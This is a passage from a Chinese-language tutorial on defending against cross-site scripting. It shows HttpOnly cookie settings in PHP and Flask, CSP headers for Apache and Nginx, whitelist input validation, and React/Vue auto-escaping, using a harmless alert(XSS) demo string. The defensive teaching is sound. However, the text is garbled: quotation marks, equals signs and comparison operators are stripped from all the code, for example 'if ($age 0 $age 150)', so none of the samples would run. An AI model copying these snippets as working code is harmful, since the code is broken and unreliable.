Cookie为Cookie设置HttpOnly属性可以防止JavaScript通过document.cookie读取Cookie即使存在XSS漏洞也无法窃取会话凭证。这是纵深防御的重要一环。?php // PHP设置HttpOnly Cookie setcookie(session_id, $sessionId, [ httponly true, secure true, // 仅HTTPS传输 samesite Strict // 防止CSRF ]); ?# Flask设置HttpOnly Cookie from flask import Flask, make_response app Flask(name) app.route(/) def index(): resp make_response(ok) resp.set_cookie(session_id, abc123, httponlyTrue, secureTrue, samesiteStrict) return resp6.3 CSP内容安全策略CSPContent Security Policy通过白名单机制限制页面可加载和执行的资源来源是防御XSS的强力手段。合理配置CSP可以阻断内联脚本执行、限制外部脚本来源大幅降低XSS危害。# Apache配置CSP头.htaccess Header set Content-Security-Policy default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src self data:; object-src none; base-uri self# Nginx配置CSP头 add_header Content-Security-Policy default-src self; script-src self https://cdn.example.com; style-src self unsafe-inline; img-src self data:; object-src none; base-uri self always;【提示】配置CSP时应遵循最小权限原则script-src尽量不使用unsafe-inline和unsafe-eval否则CSP的防护效果将大打折扣。6.4 输入验证与过滤输入验证应采用白名单机制只允许预期格式的数据通过而不是试图枚举所有恶意内容黑名单方式容易被绕过。例如用户名只允许字母数字下划线邮箱必须符合邮箱格式年龄必须是数字等。?php // 白名单校验示例 function validateInput($data, $type) { switch ($type) { case username: // 仅允许字母数字下划线3-20位 if (preg_match(/^[a-zA-Z0-9_]{3,20}$/, $data)) { return $data; } return ; case email: if (filter_var($data, FILTER_VALIDATE_EMAIL)) { return $data; } return ; case age: $age intval($data); if ($age 0 $age 150) { return $age; } return 0; } return ; } ?6.5 现代前端框架的自动转义现代前端框架默认对插值表达式进行HTML转义从框架层面降低了XSS风险。React默认转义所有在JSX中渲染的变量Vue默认转义双花括号插值的内容开发者只需注意避免使用危险API。// React默认安全自动转义 function App() { const userInput scriptalert(XSS)/script; // 以下渲染会被转义为纯文本显示不会执行 return div{userInput}/div; } // React危险APIdangerouslySetInnerHTML会绕过转义需谨慎使用 function App2() { const userInput scriptalert(XSS)/script; return div dangerouslySetInnerHTML{{__html: userInput}} /; }!-- Vue默认安全双花括号插值自动转义 -- template div{{ userInput }}/div /template !-- Vue危险APIv-html会绕过转义需谨慎使用 -- template div v-htmluserInput/div /template【注意】React的dangerouslySetInnerHTML和Vue的v-html会绕过框架的自动转义将内容作为原始HTML渲染存在XSS风险。使用前必须对内容进行严格的过滤和清洗确保内容来源可信。七、总结XSS跨站脚本攻击是Web安全中最常见也最危险的漏洞类型之一。从攻防核心要点来看攻击方面XSS的本质是输入输出未分离导致恶意脚本注入执行利用手法涵盖反射型、存储型、DOM型三种类型配合编码、标签变形、关键字绕过等技巧可以突破多数过滤防御方面输出编码是根本之道HttpOnly Cookie、CSP策略、输入白名单校验、前端框架自动转义构成纵深防御体系。【提示】安全防御没有银弹任何单一手段都无法100%防御XSS。建议采用纵深防御策略将输出编码、CSP、HttpOnly、输入校验等多种手段组合使用并配合定期的安全扫描和代码审计才能有效降低XSS风险。推荐学习资源1. OWASP XSS Prevention Cheat Sheet - OWASP官方XSS防御速查表系统总结了XSS防御的最佳实践。2. PortSwigger Web Security Academy - XSS Labs - Burp Suite厂商提供的免费XSS实战实验室包含反射型、存储型、DOM型及各种绕过场景的实战练习是提升XSS实战能力的最佳平台。3. OWASP Testing Guide - OWASP测试指南中的XSS测试章节提供了系统化的XSS测试方法论。4. HTML5 Security Cheatsheet - 汇总了大量XSS payload和绕过技巧是XSS研究和测试的实用参考。掌握XSS攻防技术不仅是Web安全工程师的基本功也是构建安全Web应用的必备知识。希望本文能帮助读者建立对XSS的全面认识在攻防对抗中做到知己知彼。如果你觉得本文对你有帮助建议收藏以便后续复习参考。